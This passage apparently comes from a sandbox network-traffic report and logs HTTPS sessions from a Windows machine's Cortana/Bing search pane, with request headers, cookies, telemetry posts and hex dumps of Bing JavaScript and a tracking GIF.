65 6c 22 2c 22 46 49 44 22 3a 22 43 Data Ascii: <ClientInstRequest><CID>5047E5942BB2460EA35B53CCF78DDB3D</CID><Events><E><T>Event.ClientInst</T><IG>79790c2131664f4c8a9426e43c0ed1af</IG><D><![CDATA[{"CurUrl":"https://www.bing.com/AS/API/WindowsCortanaPane/V2/Init","Pivot":"QF","T":"CI.BoxModel","FID":"C
2024-01-26 09:17:45 UTC	476	IN	HTTP/1.1 204 No Content Access-Control-Allow-Origin: * Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: C457DDE08A5648C6BDA298D7B9C7942A Ref B: BY3EDGE0315 Ref C: 2024-01-26T09:17:45Z Date: Fri, 26 Jan 2024 09:17:45 GMT Connection: close Alt-Svc: h3=":443"; ma=93600 X-CDN-TraceID: 0.15ed0117.1706260665.4831068e

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.16	49765	20.187.64.58	443

Timestamp	Bytes transferred	Direction	Data
2024-01-26 09:18:06 UTC	503	OUT	GET /apc/trans.gif?11a91e2c2fa42517df7093aff0f6ec4e HTTP/1.1 Origin: https://www.bing.com Referer: https://www.bing.com/AS/API/WindowsCortanaPane/V2/Init Accept: / Accept-Language: en-CH Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.14.7.19041; 10.0.0.0.19045.2006) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: d4b8db476c072517bc43f09f58d5d8ff.azr.footprintdns.com Connection: Keep-Alive
2024-01-26 09:18:07 UTC	567	IN	HTTP/1.1 200 OK Content-Type: image/gif Last-Modified: Fri, 22 Dec 2023 20:03:07 GMT Accept-Ranges: bytes ETag: "c66e6ae11135da1:0" Server: Microsoft-IIS/10.0 Access-Control-Allow-Origin: * Access-Control-Expose-Headers: X-UserHostAddress, X-EndPoint, X-FrontEnd, X-MachineName X-EndPoint: hk2prdapp02 X-MachineName: hk2app020 X-UserHostAddress: 81.181.57.0 X-Powered-By: ASP.NET X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Fri, 26 Jan 2024 09:18:06 GMT Connection: close Content-Length: 43
2024-01-26 09:18:07 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.16	49766	173.222.162.7	443

Timestamp	Bytes transferred	Direction	Data
2024-01-26 09:18:07 UTC	866	OUT	GET /rp/3AnCJOGk4gSpAV3laN3JfiNTvRg.js HTTP/1.1 Accept: / Referer: https://www.bing.com/AS/API/WindowsCortanaPane/V2/Init Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.14.7.19041; 10.0.0.0.19045.2006) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: r.bing.com Connection: Keep-Alive Cookie: MUID=5047E5942BB2460EA35B53CCF78DDB3D; _SS=SID=1F9344FA7B5C6D050D8557587A606C51&CPID=1696585056799&AC=1&CPH=074c06b2&CBV=39996767; _EDGE_S=SID=1F9344FA7B5C6D050D8557587A606C51&mkt=de-ch; SRCHUID=V=2&GUID=1365D4FE3DA84D19A46408EFC15FC823&dmnchg=1; SRCHD=AF=NOFORM; SRCHUSR=DOB=20231006; SRCHHPGUSR=SRCHLANG=en&HV=1706260657&IPMH=9aa1009e&IPMID=1696585056799&LUT=1696585056224; ANON=A=6167974D1A7C78361D9CC53BFFFFFFFF; CortanaAppUID=646BA1FF24F806DFED4199E1E0EFF63E
2024-01-26 09:18:07 UTC	904	IN	HTTP/1.1 200 OK Content-Length: 343820 Content-Type: text/javascript; charset=utf-8 Content-MD5: P9aWkQ2yMgMkUGywnrMG6g== Last-Modified: Thu, 25 Jan 2024 02:14:15 GMT ETag: 0x8DC1D4B5426A64B Server: Windows-Azure-Blob/1.0 Microsoft-HTTPAPI/2.0 x-ms-request-id: 88ae4703-801e-00c7-355e-4f8e7b000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Allow-Origin: * Cache-Control: public, no-transform, max-age=338324 Expires: Tue, 30 Jan 2024 07:16:51 GMT Date: Fri, 26 Jan 2024 09:18:07 GMT Connection: close Alt-Svc: h3=":443"; ma=93600 Akamai-GRN: 0.07a6dc17.1706260687.406dea8f Timing-Allow-Origin: * report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingaotak"}]} nel: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1.0}
2024-01-26 09:18:07 UTC	15480	IN	Data Raw: 76 61 72 20 57 53 42 3b 28 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 63 6c 61 73 73 20 74 7b 73 74 61 74 69 63 20 69 6e 69 74 28 29 7b 74 2e 61 61 64 56 65 72 69 66 69 63 61 74 69 6f 6e 43 6f 6e 74 61 69 6e 65 72 3d 5f 67 65 28 22 61 61 64 56 65 72 69 66 69 63 61 74 69 6f 6e 43 6f 6e 74 61 69 6e 65 72 22 29 3b 74 2e 64 69 61 6c 6f 67 42 6f 78 3d 5f 67 65 28 22 64 69 61 6c 6f 67 42 6f 78 22 29 3b 74 2e 64 79 6e 61 6d 69 63 50 61 6e 65 3d 5f 67 65 28 22 64 79 6e 61 6d 69 63 2d 70 61 6e 65 22 29 3b 74 2e 6d 73 62 44 73 62 52 6f 6f 74 3d 5f 67 65 28 22 6d 73 62 5f 64 73 62 5f 72 6f 6f 74 22 29 3b 74 2e 64 79 6e 61 6d 69 63 50 61 6e 65 46 75 6c 6c 57 69 64 74 68 3d 5f 67 65 28 22 64 79 6e 61 6d 69 63 2d 70 61 6e 65 2d 66 75 6c 6c 22 29 3b 74 2e 66 6c 79 6f 75 74 43 Data Ascii: var WSB;(function(n){class t{static init(){t.aadVerificationContainer=_ge("aadVerificationContainer");t.dialogBox=_ge("dialogBox");t.dynamicPane=_ge("dynamic-pane");t.msbDsbRoot=_ge("msb_dsb_root");t.dynamicPaneFullWidth=_ge("dynamic-pane-full");t.flyoutC
2024-01-26 09:18:07 UTC	16384	IN	Data Raw: 5f 45 56 45 4e 54 5f 54 59 50 45 3d 22 43 6c 69 65 6e 74 49 6e 73 74 22 3b 6e 2e 51 46 50 45 52 46 50 49 4e 47 5f 45 56 45 4e 54 5f 4e 41 4d 45 3d 22 51 46 50 65 72 66 50 69 6e 67 22 3b 6e 2e 43 4c 49 43 4b 5f 45 56 45 4e 54 5f 54 59 50 45 3d 22 43 6c 69 63 6b 22 3b 6e 2e 51 46 50 45 52 46 50 49 4e 47 5f 56 45 52 53 49 4f 4e 3d 22 32 22 3b 6e 2e 51 46 50 45 52 46 50 49 4e 47 5f 49 4e 56 41 4c 49 44 5f 4d 45 41 53 55 52 45 3d 2d 32 3b 6e 2e 49 4e 56 41 4c 49 44 5f 53 45 51 55 45 4e 43 45 5f 4e 55 4d 42 45 52 3d 2d 32 3b 6e 2e 4b 56 41 4c 55 45 5f 53 55 47 47 45 53 54 49 4f 4e 53 5f 53 54 41 52 54 3d 31 65 33 3b 6e 2e 4b 56 41 4c 55 45 5f 53 55 46 46 49 58 5f 53 54 41 52 54 3d 31 3b 6e 2e 4b 56 41 4c 55 45 5f 4e 4f 4e 5f 53 55 47 47 45 53 54 49 4f 4e 53 5f Data Ascii: _EVENT_TYPE="ClientInst";n.QFPERFPING_EVENT_NAME="QFPerfPing";n.CLICK_EVENT_TYPE="Click";n.QFPERFPING_VERSION="2";n.QFPERFPING_INVALID_MEASURE=-2;n.INVALID_SEQUENCE_NUMBER=-2;n.KVALUE_SUGGESTIONS_START=1e3;n.KVALUE_SUFFIX_START=1;n.KVALUE_NON_SUGGESTIONS_
2024-01-26 09:18:07 UTC	2484	IN	Data Raw: 6c 64 52 65 71 75 65 73 74 45 6c 74 6f 6b 65 6e 28 29 26 26 28 6f 5b 73 2e 52 65 71 75 65 73 74 45 6c 54 6f 6b 65 6e 5d 3d 22 31 22 29 3b 6e 2e 52 75 6e 74 69 6d 65 43 6f 6e 66 69 67 75 72 61 74 69 6f 6e 2e 44 65 76 69 63 65 48 69 73 74 6f 72 79 45 6e 61 62 6c 65 64 7c 7c 28 6f 5b 73 2e 53 65 61 72 63 68 48 69 73 74 6f 72 79 53 65 74 74 69 6e 67 4f 66 66 5d 3d 22 31 22 29 3b 6f 5b 73 2e 43 75 72 73 6f 72 50 6f 73 69 74 69 6f 6e 5d 3d 74 2e 63 75 72 73 6f 72 50 6f 73 69 74 69 6f 6e 2e 74 6f 53 74 72 69 6e 67 28 29 3b 6f 5b 73 2e 43 6f 6e 76 65 72 73 61 74 69 6f 6e 49 64 5d 3d 6e 2e 48 6f 73 74 2e 67 65 74 43 6f 6e 76 65 72 73 61 74 69 6f 6e 49 64 28 29 3b 6f 5b 73 2e 49 6d 70 72 65 73 73 69 6f 6e 47 75 69 64 5d 3d 6e 2e 49 6e 73 74 72 75 6d 65 6e 74 61 74 Data Ascii: ldRequestEltoken()&&(o[s.RequestElToken]="1");n.RuntimeConfiguration.DeviceHistoryEnabled\|\|(o[s.SearchHistorySettingOff]="1");o[s.CursorPosition]=t.cursorPosition.toString();o[s.ConversationId]=n.Host.getConversationId();o[s.ImpressionGuid]=n.Instrumentat
2024-01-26 09:18:07 UTC	16384	IN	Data Raw: 28 6c 74 2c 74 29 7d 66 75 6e 63 74 69 6f 6e 20 77 28 29 7b 72 65 74 75 72 6e 20 6e 2e 69 73 44 61 74 61 53 6f 75 72 63 65 45 6e 61 62 6c 65 64 28 22 53 53 55 45 22 2c 6e 75 6c 6c 29 7d 66 75 6e 63 74 69 6f 6e 20 62 28 74 29 7b 76 61 72 20 72 3d 6e 2e 41 63 63 65 73 73 54 6f 6b 65 6e 4d 61 6e 61 67 65 72 3d 3d 3d 6e 75 6c 6c 7c 7c 6e 2e 41 63 63 65 73 73 54 6f 6b 65 6e 4d 61 6e 61 67 65 72 3d 3d 3d 76 6f 69 64 20 30 3f 76 6f 69 64 20 30 3a 6e 2e 41 63 63 65 73 73 54 6f 6b 65 6e 4d 61 6e 61 67 65 72 2e 67 65 74 57 69 6e 64 6f 77 73 41 63 63 6f 75 6e 74 54 79 70 65 28 29 3b 6c 65 74 20 69 3d 21 6e 2e 63 6f 6e 66 69 67 2e 75 73 65 72 50 72 6f 66 69 6c 65 42 75 74 74 6f 6e 45 6e 61 62 6c 65 64 7c 7c 72 3d 3d 74 3b 73 77 69 74 63 68 28 74 29 7b 63 61 73 65 20 Data Ascii: (lt,t)}function w(){return n.isDataSourceEnabled("SSUE",null)}function b(t){var r=n.AccessTokenManager===null\|\|n.AccessTokenManager===void 0?void 0:n.AccessTokenManager.getWindowsAccountType();let i=!n.config.userProfileButtonEnabled\|\|r==t;switch(t){case
2024-01-26 09:18:07 UTC	12120	IN	Data Raw: 61 62 6c 65 64 44 61 74 61 53 6f 75 72 63 65 73 3a 5b 7b 64 61 74 61 53 6f 75 72 63 65 3a 22 4d 52 55 22 2c 73 75 67 67 65 73 74 69 6f 6e 49 73 45 6e 61 62 6c 65 64 3a 28 74 2c 69 29 3d 3e 69 3d 3d 31 7c 7c 6e 2e 63 6f 6e 66 69 67 2e 65 6e 61 62 6c 65 4d 72 75 50 72 6f 76 69 64 65 72 49 6e 51 46 26 26 69 3d 3d 30 7d 2c 7b 64 61 74 61 53 6f 75 72 63 65 3a 22 4d 52 53 22 2c 73 75 67 67 65 73 74 69 6f 6e 49 73 45 6e 61 62 6c 65 64 3a 28 6e 2c 74 29 3d 3e 74 3d 3d 30 2c 63 6f 6e 64 69 74 69 6f 6e 61 6c 52 65 71 75 69 72 65 6d 65 6e 74 73 3a 28 29 3d 3e 6e 2e 63 6f 6e 66 69 67 2e 65 6e 61 62 6c 65 5a 65 72 6f 49 6e 70 75 74 53 65 61 72 63 68 48 6f 6d 65 57 65 62 7c 7c 6e 2e 63 6f 6e 66 69 67 2e 65 6e 61 62 6c 65 4d 72 75 50 72 6f 76 69 64 65 72 49 6e 51 46 7d Data Ascii: abledDataSources:[{dataSource:"MRU",suggestionIsEnabled:(t,i)=>i==1\|\|n.config.enableMruProviderInQF&&i==0},{dataSource:"MRS",suggestionIsEnabled:(n,t)=>t==0,conditionalRequirements:()=>n.config.enableZeroInputSearchHomeWeb\|\|n.config.enableMruProviderInQF}
2024-01-26 09:18:07 UTC	16384	IN	Data Raw: 6c 65 74 20 72 3d 6e 2e 52 75 6e 74 69 6d 65 43 6f 6e 66 69 67 2e 51 66 4d 6f 64 65 3d 3d 35 26 26 74 2e 66 75 6c 6c 50 61 72 74 69 61 6c 51 75 65 72 79 2e 73 65 61 72 63 68 28 22 3a 22 29 3e 3d 30 3b 69 66 28 72 29 7b 74 2e 65 6e 61 62 6c 65 64 44 61 74 61 53 6f 75 72 63 65 73 3d 7b 7d 3b 72 65 74 75 72 6e 7d 6e 2e 64 69 73 61 62 6c 65 57 65 62 44 61 74 61 53 6f 75 72 63 65 49 66 4e 65 65 64 65 64 28 74 2c 6e 2e 48 6f 73 74 2e 67 65 74 52 65 67 69 6f 6e 28 29 2c 6e 2e 48 6f 73 74 2e 67 65 74 4c 61 6e 67 75 61 67 65 28 29 29 3b 6c 65 74 20 75 3d 74 2e 71 75 65 72 79 54 6f 46 65 74 63 68 3f 69 2e 65 6e 61 62 6c 65 64 44 61 74 61 53 6f 75 72 63 65 73 3a 69 2e 65 6e 61 62 6c 65 64 44 61 74 61 53 6f 75 72 63 65 73 46 6f 72 5a 65 72 6f 49 6e 70 75 74 3b 66 6f Data Ascii: let r=n.RuntimeConfig.QfMode==5&&t.fullPartialQuery.search(":")>=0;if(r){t.enabledDataSources={};return}n.disableWebDataSourceIfNeeded(t,n.Host.getRegion(),n.Host.getLanguage());let u=t.queryToFetch?i.enabledDataSources:i.enabledDataSourcesForZeroInput;fo
2024-01-26 09:18:07 UTC	16384	IN	Data Raw: 72 6f 75 70 54 79 70 65 2e 56 69 64 65 6f 73 3a 72 65 74 75 72 6e 20 6e 2e 53 63 6f 70 65 2e 56 69 64 65 6f 73 3b 63 61 73 65 20 6e 2e 47 72 6f 75 70 54 79 70 65 2e 4d 75 73 69 63 3a 72 65 74 75 72 6e 20 6e 2e 53 63 6f 70 65 2e 4d 75 73 69 63 3b 63 61 73 65 20 6e 2e 47 72 6f 75 70 54 79 70 65 2e 4c 6f 63 61 6c 50 6c 61 63 65 73 3a 63 61 73 65 20 6e 2e 47 72 6f 75 70 54 79 70 65 2e 53 65 61 72 63 68 53 75 67 67 65 73 74 69 6f 6e 73 3a 63 61 73 65 20 6e 2e 47 72 6f 75 70 54 79 70 65 2e 43 68 61 74 57 69 74 68 42 69 6e 67 3a 63 61 73 65 20 6e 2e 47 72 6f 75 70 54 79 70 65 2e 41 6e 61 68 65 69 6d 44 61 74 61 51 46 3a 63 61 73 65 20 6e 2e 47 72 6f 75 70 54 79 70 65 2e 57 65 62 73 69 74 65 73 3a 63 61 73 65 20 6e 2e 47 72 6f 75 70 54 79 70 65 2e 42 6f 6f 6b 6d Data Ascii: roupType.Videos:return n.Scope.Videos;case n.GroupType.Music:return n.Scope.Music;case n.GroupType.LocalPlaces:case n.GroupType.SearchSuggestions:case n.GroupType.ChatWithBing:case n.GroupType.AnaheimDataQF:case n.GroupType.Websites:case n.GroupType.Bookm
2024-01-26 09:18:07 UTC	7952	IN	Data Raw: 6e 61 68 65 69 6d 44 61 74 61 48 53 26 26 6e 2e 41 6e 61 68 65 69 6d 44 61 74 61 50 72 6f 76 69 64 65 72 2e 67 65 74 53 68 6f 75 6c 64 53 68 6f 77 41 6e 61 68 65 69 6d 44 61 74 61 51 46 28 29 29 21 3d 3d 6e 75 6c 6c 26 26 69 21 3d 3d 76 6f 69 64 20 30 3f 69 3a 21 31 3a 21 31 7d 66 75 6e 63 74 69 6f 6e 20 70 6f 28 29 7b 76 61 72 20 74 3d 6e 2e 41 63 63 65 73 73 54 6f 6b 65 6e 4d 61 6e 61 67 65 72 3d 3d 3d 6e 75 6c 6c 7c 7c 6e 2e 41 63 63 65 73 73 54 6f 6b 65 6e 4d 61 6e 61 67 65 72 3d 3d 3d 76 6f 69 64 20 30 3f 76 6f 69 64 20 30 3a 6e 2e 41 63 63 65 73 73 54 6f 6b 65 6e 4d 61 6e 61 67 65 72 2e 67 65 74 57 69 6e 64 6f 77 73 41 63 63 6f 75 6e 74 54 79 70 65 28 29 3b 72 65 74 75 72 6e 20 6e 2e 63 6f 6e 66 69 67 2e 73 6b 69 70 57 69 6e 56 65 72 73 69 6f 6e 43 Data Ascii: naheimDataHS&&n.AnaheimDataProvider.getShouldShowAnaheimDataQF())!==null&&i!==void 0?i:!1:!1}function po(){var t=n.AccessTokenManager===null\|\|n.AccessTokenManager===void 0?void 0:n.AccessTokenManager.getWindowsAccountType();return n.config.skipWinVersionC
2024-01-26 09:18:07 UTC	16384	IN	Data Raw: 74 65 2c 69 73 44 65 66 61 75 6c 74 3a 6e 2e 69 73 44 65 66 61 75 6c 74 41 63 63 6f 75 6e 74 7d 7d 66 75 6e 63 74 69 6f 6e 20 76 73 28 6e 29 7b 72 65 74 75 72 6e 20 4a 53 4f 4e 2e 73 74 72 69 6e 67 69 66 79 28 79 72 28 6e 29 29 7d 66 75 6e 63 74 69 6f 6e 20 79 73 28 6e 29 7b 72 65 74 75 72 6e 20 4a 53 4f 4e 2e 73 74 72 69 6e 67 69 66 79 28 6e 26 26 6e 2e 6d 61 70 28 6e 3d 3e 79 72 28 6e 29 29 29 7d 66 75 6e 63 74 69 6f 6e 20 70 73 28 74 2c 69 2c 72 2c 75 29 7b 6e 2e 63 6f 6e 66 69 67 2e 65 6e 61 62 6c 65 42 61 63 6b 67 72 6f 75 6e 64 54 61 73 6b 4c 6f 67 67 69 6e 67 26 26 6e 2e 73 61 66 65 45 78 65 63 75 74 65 28 28 29 3d 3e 7b 53 65 61 72 63 68 41 70 70 57 72 61 70 70 65 72 2e 43 6f 72 74 61 6e 61 41 70 70 2e 6c 6f 67 4d 65 61 73 75 72 65 28 74 2c 30 2c Data Ascii: te,isDefault:n.isDefaultAccount}}function vs(n){return JSON.stringify(yr(n))}function ys(n){return JSON.stringify(n&&n.map(n=>yr(n)))}function ps(t,i,r,u){n.config.enableBackgroundTaskLogging&&n.safeExecute(()=>{SearchAppWrapper.CortanaApp.logMeasure(t,0,
2024-01-26 09:18:07 UTC	8048	IN	Data Raw: 74 75 72 6e 20 74 68 69 73 2e 5f 61 70 70 43 61 63 68 65 45 76 65 6e 74 49 6e 64 65 78 2b 2b 2c 6e 7d 7d 6e 2e 41 70 70 43 61 63 68 65 49 6e 73 74 72 75 6d 65 6e 74 61 74 69 6f 6e 48 65 6c 70 65 72 3d 72 7d 28 57 53 42 7c 7c 28 57 53 42 3d 7b 7d 29 29 2c 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 63 6f 6e 73 74 20 74 3d 5b 22 50 50 22 2c 22 53 54 22 2c 22 46 4c 22 2c 22 4c 4d 22 5d 3b 63 6c 61 73 73 20 69 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 29 7b 74 68 69 73 2e 5f 69 73 4d 6f 62 69 6c 65 3d 53 65 61 72 63 68 41 70 70 57 72 61 70 70 65 72 2e 43 6f 72 74 61 6e 61 41 70 70 2e 69 73 4d 6f 62 69 6c 65 7d 6c 6f 67 50 72 6f 66 69 6c 65 72 4d 61 72 6b 65 72 28 74 2c 69 2c 72 2c 75 2c 66 29 7b 66 7c 7c 28 66 3d 7b 7d 29 3b 6e 2e 73 61 66 65 45 78 65 63 75 74 65 28 28 Data Ascii: turn this._appCacheEventIndex++,n}}n.AppCacheInstrumentationHelper=r}(WSB\|\|(WSB={})),function(n){const t=["PP","ST","FL","LM"];class i{constructor(){this._isMobile=SearchAppWrapper.CortanaApp.isMobile}logProfilerMarker(t,i,r,u,f){f\|\|(f={});n.safeExecute((

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.16	49767	20.187.64.58	443

Timestamp	Bytes transferred	Direction	Data
2024-01-26 09:18:08 UTC	503	OUT	GET /apc/trans.gif?89b326e424ca5ce28f7fe5e7ab123e9b HTTP/1.1 Origin: https://www.bing.com Referer: https://www.bing.com/AS/API/WindowsCortanaPane/V2/Init Accept: / Accept-Language: en-CH Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.14.7.19041; 10.0.0.0.19045.2006) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: d4b8db476c072517bc43f09f58d5d8ff.azr.footprintdns.com Connection: Keep-Alive
2024-01-26 09:18:08 UTC	567	IN	HTTP/1.1 200 OK Content-Type: image/gif Last-Modified: Fri, 22 Dec 2023 20:03:07 GMT Accept-Ranges: bytes ETag: "c66e6ae11135da1:0" Server: Microsoft-IIS/10.0 Access-Control-Allow-Origin: * Access-Control-Expose-Headers: X-UserHostAddress, X-EndPoint, X-FrontEnd, X-MachineName X-EndPoint: hk2prdapp02 X-MachineName: hk2app021 X-UserHostAddress: 81.181.57.0 X-Powered-By: ASP.NET X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Fri, 26 Jan 2024 09:18:08 GMT Connection: close Content-Length: 43
2024-01-26 09:18:08 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.16	49769	173.222.162.7	443

Timestamp	Bytes transferred	Direction	Data
2024-01-26 09:18:08 UTC	866	OUT	GET /rp/4jug8Uxti_b-VPApkU7DSWL5pII.js HTTP/1.1 Accept: / Referer: https://www.bing.com/AS/API/WindowsCortanaPane/V2/Init Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.14.7.19041; 10.0.0.0.19045.2006) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: r.bing.com Connection: Keep-Alive Cookie: MUID=5047E5942BB2460EA35B53CCF78DDB3D; _SS=SID=1F9344FA7B5C6D050D8557587A606C51&CPID=1696585056799&AC=1&CPH=074c06b2&CBV=39996767; _EDGE_S=SID=1F9344FA7B5C6D050D8557587A606C51&mkt=de-ch; SRCHUID=V=2&GUID=1365D4FE3DA84D19A46408EFC15FC823&dmnchg=1; SRCHD=AF=NOFORM; SRCHUSR=DOB=20231006; SRCHHPGUSR=SRCHLANG=en&HV=1706260657&IPMH=9aa1009e&IPMID=1696585056799&LUT=1696585056224; ANON=A=6167974D1A7C78361D9CC53BFFFFFFFF; CortanaAppUID=646BA1FF24F806DFED4199E1E0EFF63E
2024-01-26 09:18:08 UTC	902	IN	HTTP/1.1 200 OK Content-Length: 14929 Content-Type: text/javascript; charset=utf-8 Content-MD5: yzAWzbOHXvHqTK0S7Prl7Q== Last-Modified: Tue, 10 Oct 2023 05:30:06 GMT ETag: 0x8DBC951F60CE290 Server: Windows-Azure-Blob/1.0 Microsoft-HTTPAPI/2.0 x-ms-request-id: d761415b-701e-009e-682e-2b09f8000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Allow-Origin: * Cache-Control: public, no-transform, max-age=22358 Expires: Fri, 26 Jan 2024 15:30:46 GMT Date: Fri, 26 Jan 2024 09:18:08 GMT Connection: close Alt-Svc: h3=":443"; ma=93600 Akamai-GRN: 0.07a6dc17.1706260688.406dec24 Timing-Allow-Origin: * report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingaotak"}]} nel: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1.0}
2024-01-26 09:18:08 UTC	14929	IN	Data Raw: 76 61 72 20 57 53 42 3b 28 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 63 6f 6e 73 74 20 74 3d 22 70 70 5f 22 2c 69 3d 31 30 30 2c 72 3d 32 30 30 3b 63 6c 61 73 73 20 75 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 74 2c 69 29 7b 74 68 69 73 2e 5f 70 61 67 65 3d 74 3b 74 68 69 73 2e 5f 73 65 63 74 69 6f 6e 73 3d 5b 5d 3b 74 68 69 73 2e 5f 73 65 6c 65 63 74 65 64 49 74 65 6d 49 6e 64 65 78 3d 2d 31 3b 74 68 69 73 2e 5f 69 74 65 6d 43 6c 69 63 6b 45 76 65 6e 74 48 61 6e 64 6c 65 72 3d 28 74 2c 69 29 3d 3e 7b 6c 65 74 20 72 3d 64 6f 63 75 6d 65 6e 74 2e 67 65 74 53 65 6c 65 63 74 69 6f 6e 28 29 3b 72 2e 74 6f 53 74 72 69 6e 67 28 29 26 26 72 2e 66 6f 63 75 73 4e 6f 64 65 3d 3d 69 2e 74 61 72 67 65 74 7c 7c 74 2e 63 6c 69 63 6b 28 6e 2e 67 65 74 43 75 72 72 65 6e 74 54 69 Data Ascii: var WSB;(function(n){const t="pp_",i=100,r=200;class u{constructor(t,i){this._page=t;this._sections=[];this._selectedItemIndex=-1;this._itemClickEventHandler=(t,i)=>{let r=document.getSelection();r.toString()&&r.focusNode==i.target\|\|t.click(n.getCurrentTi

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.16	49768	13.89.179.11	443

Timestamp	Bytes transferred	Direction	Data
2024-01-26 09:18:08 UTC	685	OUT	POST /Collector/3.0/?qsp=true&content-type=application%2Fbond-compact-binary&client-id=NO_AUTH&sdk-version=AWT-Web-CJS-1.2.0&x-apikey=33d70a864599496b982a39f036f71122-2064703e-3a9d-4d90-8362-eec08dffe8e8-7176 HTTP/1.1 Origin: https://www.bing.com Referer: https://www.bing.com/AS/API/WindowsCortanaPane/V2/Init Accept: / Accept-Language: en-CH Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.14.7.19041; 10.0.0.0.19045.2006) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: browser.pipe.aria.microsoft.com Content-Length: 1070 Connection: Keep-Alive Cache-Control: no-cache
2024-01-26 09:18:08 UTC	1070	OUT	Data Raw: 6d 09 0b 01 4a 33 33 64 37 30 61 38 36 34 35 39 39 34 39 36 62 39 38 32 61 33 39 66 30 33 36 66 37 31 31 32 32 2d 32 30 36 34 37 30 33 65 2d 33 61 39 64 2d 34 64 39 30 2d 38 33 36 32 2d 65 65 63 30 38 64 66 66 65 38 65 38 2d 37 31 37 36 0a 01 49 12 61 63 74 5f 64 65 66 61 75 6c 74 5f 73 6f 75 72 63 65 a9 24 36 34 63 34 34 64 62 36 2d 63 39 62 39 2d 34 63 66 32 2d 39 32 39 35 2d 34 64 36 65 32 37 66 66 35 33 36 66 d1 06 b0 a9 ff d0 a8 63 cb 08 0a 01 29 24 35 34 66 32 39 37 63 39 2d 66 63 64 39 2d 34 38 62 65 2d 38 37 31 38 2d 66 36 36 32 36 31 38 38 66 36 63 38 71 84 98 ff d0 a8 63 a9 14 63 75 73 74 6f 6d 2e 43 6c 69 65 6e 74 5f 45 76 65 6e 74 73 c9 06 0e 76 61 72 69 61 6e 74 5f 65 76 65 6e 74 73 cd 0d 09 09 19 0a 64 65 76 69 63 65 54 79 70 65 07 44 45 53 Data Ascii: mJ33d70a864599496b982a39f036f71122-2064703e-3a9d-4d90-8362-eec08dffe8e8-7176Iact_default_source$64c44db6-c9b9-4cf2-9295-4d6e27ff536fc)$54f297c9-fcd9-48be-8718-f6626188f6c8qccustom.Client_Eventsvariant_eventsdeviceTypeDES
2024-01-26 09:18:08 UTC	462	IN	HTTP/1.1 200 OK Content-Length: 0 Content-Type: application/json Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 time-delta-millis: 1466 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: POST Access-Control-Allow-Headers: Accept, Content-Type, Content-Encoding, Client-Id Access-Control-Expose-Headers: kill-tokens, kill-duration-seconds, time-delta-millis Date: Fri, 26 Jan 2024 09:18:08 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.16	49770	173.222.162.7	443

Timestamp	Bytes transferred	Direction	Data
